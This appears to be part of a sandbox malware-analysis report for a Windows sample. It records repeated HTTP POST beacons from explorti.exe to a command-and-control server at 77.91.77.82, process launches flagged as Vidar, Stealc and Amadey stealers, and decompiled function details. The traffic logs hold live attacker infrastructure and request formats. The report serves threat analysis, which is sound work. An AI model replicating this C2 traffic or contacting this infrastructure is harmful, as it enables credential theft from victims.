Jun 27, 2024 19:27:50.091656923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	49762	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:50.203066111 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:50.897887945 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:50.898994923 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:51.114875078 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.5	49763	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:51.234935999 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:51.973778009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:51.974757910 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:52.209860086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49764	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:52.331882000 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:53.023808956 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:53.024661064 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:53.239803076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49765	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:53.361290932 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:54.072048903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:54.076322079 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:54.297528982 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49766	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:54.406302929 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:55.108720064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 27, 2024 19:27:55.109499931 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 27, 2024 19:27:55.335685968 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	49767	77.91.77.82	80	2820	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 27, 2024 19:27:55.453169107 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 27, 2024 19:27:56.171627998 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 27 Jun 2024 17:27:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Target ID:	0
Start time:	13:25:50
Start date:	27/06/2024
Path:	C:\Users\user\Desktop\ukuWaeRgPR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\ukuWaeRgPR.exe"
Imagebase:	0xc80000
File size:	2'462'720 bytes
MD5 hash:	370E9DECC41C2ED09EC8F40262B9E2F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.2169837942.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.2169837942.0000000000C81000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2171110129.0000000001FEE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:26:07
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:26:07
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:26:07
Start date:	27/06/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\EGCGHCBKFC.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	13:26:08
Start date:	27/06/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:26:08
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe"
Imagebase:	0x6d0000
File size:	1'940'480 bytes
MD5 hash:	A5CF525BBE7813EFDDEA80F027C62C59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.2284848732.00000000006D1000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2194479080.0000000005100000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:26:17
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Imagebase:	0x4a0000
File size:	1'940'480 bytes
MD5 hash:	A5CF525BBE7813EFDDEA80F027C62C59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000002.2316173620.00000000004A1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.2275708429.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:26:18
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x4a0000
File size:	1'940'480 bytes
MD5 hash:	A5CF525BBE7813EFDDEA80F027C62C59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000002.2326220541.00000000004A1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000A.00000003.2285765629.00000000052F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:27:00
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Imagebase:	0x4a0000
File size:	1'940'480 bytes
MD5 hash:	A5CF525BBE7813EFDDEA80F027C62C59
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000003.2697614197.0000000004F80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000D.00000002.3228822422.00000000004A1000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	13:27:07
Start date:	27/06/2024
Path:	C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000006001\a3b2c9311b.exe"
Imagebase:	0x60000
File size:	2'462'720 bytes
MD5 hash:	370E9DECC41C2ED09EC8F40262B9E2F9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000E.00000002.2767076722.0000000000061000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000E.00000002.2767076722.0000000000061000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2770510086.00000000012DE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	28.7%
Total number of Nodes:	115
Total number of Limit Nodes:	13

Executed Functions

Function 6C3135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C39F688,00001000), ref: 6C3135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C3135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C31363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C31369F
__aulldiv.LIBCMT ref: 6C3136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C313773
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C31377E
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C3137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C3137C4
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C3137CB
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C313801
__aulldiv.LIBCMT ref: 6C313883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C313902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C313918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C31394C

Strings

GTC, xrefs: 6C313912
QPC, xrefs: 6C3138FC
MOZ_TIMESTAMP_MODE, xrefs: 6C3135DB
AuthcAMDenti, xrefs: 6C313946
GenuntelineI, xrefs: 6C313639

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 49426de118b76a24b06eeb0989302c9d7a363ff52b42b7aa1387453efebdb592
Instruction ID: 2aaf5fae569a2952df2a07e2fac74259348a16f93213096ed377ee88fec48be3
Opcode Fuzzy Hash: 49426de118b76a24b06eeb0989302c9d7a363ff52b42b7aa1387453efebdb592
Instruction Fuzzy Hash: F8B19072B093109FDB08DF29D84461ABBFDBB8E704F05892DE899D7750E77698048F92

Function 6C32C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C32C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C32C969
GetSystemInfo.KERNEL32(?), ref: 6C32C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C32C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C32C9E2

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: d7f03d33ada937e9df81fac6d7ab4791abbbfb0ca586e4949185e7429c24e563
Instruction ID: 2656a2205649a5ac2918b70948eb16670fd0894ef451d24bda2de03063890913
Opcode Fuzzy Hash: d7f03d33ada937e9df81fac6d7ab4791abbbfb0ca586e4949185e7429c24e563
Instruction Fuzzy Hash: 7B21DA71741214ABEF14AF24EC84BAE73BDFB46704F500119F947A7640EB7698048FA1

Function 6C313060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C313095

Part of subcall function 6C3135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C39F688,00001000), ref: 6C3135D5
Part of subcall function 6C3135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C3135E0
Part of subcall function 6C3135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C3135FD
Part of subcall function 6C3135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C31363F
Part of subcall function 6C3135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C31369F
Part of subcall function 6C3135A0: __aulldiv.LIBCMT ref: 6C3136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C31309F

Part of subcall function 6C335B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C3356EE,?,00000001), ref: 6C335B85
Part of subcall function 6C335B50: EnterCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335B90
Part of subcall function 6C335B50: LeaveCriticalSection.KERNEL32(6C39F688,?,?,?,6C3356EE,?,00000001), ref: 6C335BD8
Part of subcall function 6C335B50: GetTickCount64.KERNEL32 ref: 6C335BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C3130BE

Part of subcall function 6C3130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C313127
Part of subcall function 6C3130F0: __aulldiv.LIBCMT ref: 6C313140

Part of subcall function 6C34AB2A: __onexit.LIBCMT ref: 6C34AB30

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: dd24e285ed2d308357d9dcae85d984bd208ee8656f5da5774652c1ead718eab6
Instruction ID: 98f4f99d9669a7fb222ef166e08f328137222c3000eedf7e7e39b6a8e61585ad
Opcode Fuzzy Hash: dd24e285ed2d308357d9dcae85d984bd208ee8656f5da5774652c1ead718eab6
Instruction Fuzzy Hash: 19F0A912D24B4497CB10DF7488411E673B8AF6F114F505719F88567651FB2161E887D6

Function 01013B8C Relevance: 1.3, APIs: 1, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 01013BB7

Memory Dump Source

Source File: 00000000.00000002.2169837942.0000000001006000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EBC000, based on PE: true

Associated: 00000000.00000002.2169837942.0000000000EBC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000000FEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.000000000103C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.0000000001095000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2169837942.00000000013AA000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_ukuWaeRgPR.jbxd

Similarity

API ID: AllocVirtual
String ID:
